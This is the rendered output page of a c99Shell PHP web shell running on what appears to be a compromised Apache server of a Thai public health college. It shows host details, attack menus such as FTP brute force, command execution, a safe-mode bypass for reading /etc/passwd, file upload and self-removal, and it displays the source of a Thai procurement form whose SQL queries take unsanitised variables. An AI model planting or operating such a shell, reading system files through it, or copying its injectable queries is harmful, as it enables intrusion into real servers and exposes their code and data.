!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/directorBCNU/   drwxr-xr-x
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Frmfrom.php (13.16 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include("../include/FunctionDB.php");
include(
"../include/Function.php");
include(
"admin_menu.php");
 
ConnectDB();
$Username $valid_user;
$sql "SELECT * FROM  user_tb WHERE Username='$Username'";
$res mysql_query($sql);
$rs1 mysql_fetch_array($res);
$sql1 =  " SELECT * FROM  project_type_tb   Where   Budget_Year='$Budget_Year'  and   Faculty_code='$Faculty_code'  and  ProjectId='$ProjectId'   ";
$resultmysql_query($sql1) or die("Select Has Error").mysql_error();
$rs mysql_fetch_array($result);
?>

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link rel="stylesheet" href="../css/cart4.css" type="text/css">
<script language="JavaScript" src="../calendar/ew.js"></script> 
<script language="JavaScript" src="../calendar/popcalendar.js"></script>
<script language="JavaScript" type="text/JavaScript">
function MM_reloadPage(init) {  //reloads the window if Na v4 resized
  if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);
//-->

}
var highlightcolor="lightyellow"
var ns6=document.getElementById&&!document.all
var previous=''
var eventobj
//Regular expression to highlight only form elements
var intended=/INPUT|TEXTAREA|SELECT|OPTION/

//Function to check whether element clicked is form element
function checkel(which){
if (which.style&&intended.test(which.tagName)){
if (ns6&&eventobj.nodeType==3)
eventobj=eventobj.parentNode.parentNode
return true
}
else
return false
}

</script>
<style type="text/css">
<!--
.style1 {
    font-size: 14px;
    font-family: Tahoma;
}
.style12 {font-size: 14px}
.style13 {font-size: 14px; font-family: Tahoma; font-weight: bold; }
-->
</style>



<table width="946" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="946"><br>
          <fieldset>
            <legend><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><span class="style1"><a href="PlaningByYear.php">หน้าหลัก </a><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="PlaningByYear.php?Budget_Year=<?php echo $rs[Budget_Year?>&amp;Faculty_code=<?php echo $rs[Faculty_code?> ">ข้อมูลแผนดำเนินงาน </a><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" />บันทึกจัดซื้อวัสดุ</span></font></legend>
            <label><div align="center">
              <form id="form1" name="form1" method="post" action="InsertPlaningIn.php">
                <p align="left"><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font></p>
                <table width="94%" border="0" align="center" cellpadding="0" cellspacing="0" style=" border:0px solid gray"size="12">
                  <tr>
                    <td width="58%" height="29" bgcolor="#FFFFFF">&nbsp;</td>
                    <td width="33%" bgcolor="#FFFFFF"><div align="left"></div></td>
                    <td width="9%" bgcolor="#FFFFFF"><div align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><span class="style12">ส่งออก <a href="ExcelPlaningList.php?Budget_Year=<? echo $rs[Budget_Year?>&amp;Faculty_code=<? echo $rs[Faculty_code?>&amp;Project_code=<? echo $rs[Project_code]?>"><img src="../picture/excel.gif" width="18" height="18" border="0" align="absmiddle" /></a></span></font></div></td>
                  </tr>
                  <tr>
                    <td height="43" colspan="3" ><table align="center" cellpadding="0" cellspacing="0">
                      <col width="33" />
                      <col width="92" />
                      <col width="333" />
                      <col width="74" />
                      <col width="46" />
                      <col width="145" />
                      <tr height="39">
                        <td height="39" width="205"></td>
                        <td width="154"></td>
                        <td colspan="2"><div align="center">บันทึกข้อความ</div></td>
                        <td width="1"></td>
                        <td colspan="2" align="left">          ลำดับที่    ..........</td>
                      </tr>
                      <tr height="31">
                        <td height="31" colspan="4" align="left">ส่วนราชการ      วิทยาลัยการสาธารณสุขสิรินธร     จังหวัดชลบุรี</td>
                        <td></td>
                        <td colspan="2" align="left"><div align="left">(สำหรับจนท.พัสดุ    ลงสมุดคุม )</div></td>
                      </tr>
                      <tr height="31">
                        <td height="31" colspan="4" align="left">เลขที่  สธ    0202/0201/<font color="#0000FF" size="2" face="Tahoma">
                          <input name="Project_name" type="text" id="Project_name" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="10" />
                        </font></td>
                        <td colspan="3" align="left"><div align="left">วันที่   12     มิถุนายน  2551</div></td>
                      </tr>
                      <tr height="31">
                        <td height="31" colspan="4" align="left">เรื่อง      รายงานความต้องการใช้พัสดุ</td>
                        <td></td>
                        <td width="412"></td>
                        <td width="1"></td>
                      </tr>
                      <tr height="31">
                        <td height="31" colspan="4" align="left">เรียน     ผู้อำนวยการวิทยาลัยการสาธารณสุขสิรินธร     จังหวัดชลบุรี</td>
                        <td></td>
                        <td></td>
                        <td></td>
                      </tr>
                      <tr height="28">
                        <td height="28" colspan="7">เนื่องจากกลุ่มงาน<font color="#0033CC" size="2" face="Tahoma">
                          <?php
         $Faculty_code 
=  $rs["Faculty_code"];
         
$sql "Select * From faculty_tb Where Faculty_code='$Faculty_code' ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rss mysql_fetch_array($result1);
                echo 
"$rss[Faculty_name]";
         
?>
                        </font>    มีความประสงค์จะใช้ ( ประเภทวัสดุ )    .<font color="#0000FF" size="2" face="Tahoma">
                        <input name="Project_name2" type="text" id="Project_name2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="50" />
                        </font></td>
                      </tr>
                      
                      
                      
                      
                      <tr height="35">
                        <td height="35" colspan="7" align="left"><table width="774" border="1" cellpadding="0" cellspacing="0">
                          <tr>
                            <td width="36"><div align="center"><span class="style13">ลำดับ</span></div></td>
                            <td width="118"><div align="center"><span class="style13">GPSC</span></div></td>
                            <td width="410"><div align="center"><span class="style13">รายละเอียด</span></div></td>
                            <td width="189"><div align="center">ราคาต่อหน่วย</div></td>
                            <td width="189"><div align="center"><span class="style13">จำนวน</span></div></td>
                            <td width="189"><div align="center"><span class="style13">จำนวนเงิน</span></div></td>
                          </tr>
                          <tr>
                            <td>&nbsp;</td>
                            <td>&nbsp;</td>
                            <td>&nbsp;</td>
                            <td>&nbsp;</td>
                            <td>&nbsp;</td>
                            <td>&nbsp;</td>
                          </tr>
                          <tr>
                            <td>&nbsp;</td>
                            <td>&nbsp;</td>
                            <td>&nbsp;</td>
                            <td>&nbsp;</td>
                            <td>&nbsp;</td>
                            <td>&nbsp;</td>
                          </tr>
                          <tr>
                            <td>&nbsp;</td>
                            <td>&nbsp;</td>
                            <td>&nbsp;</td>
                            <td>&nbsp;</td>
                            <td>&nbsp;</td>
                            <td>&nbsp;</td>
                          </tr>
                        </table></td>
                      </tr>
                      <tr height="35">
                        <td height="35" colspan="7" align="left">สิ่งของที่ต้องการเคยซื้อหรือสอบถามจากร้าน    ..<font color="#0000FF" size="2" face="Tahoma">
                          <input name="Project_name3" type="text" id="Project_name3" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="50" />
                        </font></td>
                      </tr>
                      <tr height="28">
                        <td height="28" colspan="7" align="left">1. เหตุผลและความจำเป็นที่ต้องการใช้ (    เพื่อใช้กับงาน/โครงการ/หลักสูตร ใด,ปีใด    ).<font color="#0000FF" size="2" face="Tahoma">
                          <input name="Project_name32" type="text" id="Project_name32" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="40" />
                        </font></td>
                      </tr>
                      <tr height="28">
                        <td height="28" colspan="7" align="left">&nbsp;</td>
                      </tr>
                      <tr height="28">
                        <td height="28" colspan="7" align="left">2. กำหนดเวลาที่ต้องการใช้ภายใน  <font color="#0000FF" size="2" face="Tahoma">
                          <input name="Project_name33" type="text" id="Project_name33" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="2" />
                        </font>     วัน</td>
                      </tr>
                      
                      <tr height="28">
                        <td height="28" colspan="3" align="left">3. ขอเสนอผู้ที่จะเป็นกรรมการตรวจรับพัสด</td>
                        <td height="28" colspan="2" align="left">1</td>
                        <td height="28" align="left">&nbsp;</td>
                        <td></td>
                      </tr>
                      <tr height="28">
                        <td height="28" colspan="3" align="left">&nbsp;</td>
                        <td height="28" colspan="2" align="left">2</td>
                        <td height="28" align="left">&nbsp;</td>
                        <td></td>
                      </tr>
                      <tr height="28">
                        <td height="28" colspan="3" align="left">&nbsp;</td>
                        <td height="28" colspan="2" align="left">3</td>
                        <td height="28" align="left">&nbsp;</td>
                        <td></td>
                      </tr>
                      <tr height="28">
                        <td height="28" colspan="7" align="left">4. โดยเบิกจ่ายจากเงิน.........    ข้อ <font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Orderlist];?></font> ................................................</td>
                      </tr>
                      <tr height="28">
                        <td height="28" colspan="6" align="left">5. ผู้เสนอใช้วัสดุ    ..............................................................  ( นาย / นาง / นส ......... )</td>
                        <td></td>
                      </tr>
                      <tr height="28">
                        <td height="28"></td>
                        <td align="left"><div align="right">จึงเรียนมาเพื่อโปรดอนุมัติ</div></td>
                        <td colspan="2" align="left">&nbsp;</td>
                        <td></td>
                        <td></td>
                        <td></td>
                      </tr>
                      <tr height="28">
                        <td height="28"></td>
                        <td></td>
                        <td colspan="2" align="left">             
                        <div align="center">ลงชื่อ .......................................................    หัวหน้ากลุ่มงาน</div></td>
                        <td></td>
                        <td></td>
                        <td></td>
                      </tr>
                      <tr height="28">
                        <td height="28"></td>
                        <td></td>
                        <td colspan="2">    
                        <div align="center">( นางอัญชลี   เอมวัฒนะ )</div></td>
                        <td></td>
                        <td></td>
                        <td></td>
                      </tr>
                    </table></td>
                  </tr>
                </table>
              </form>
              </div>
            </label>
        </fieldset><br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
      </font></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0109 ]--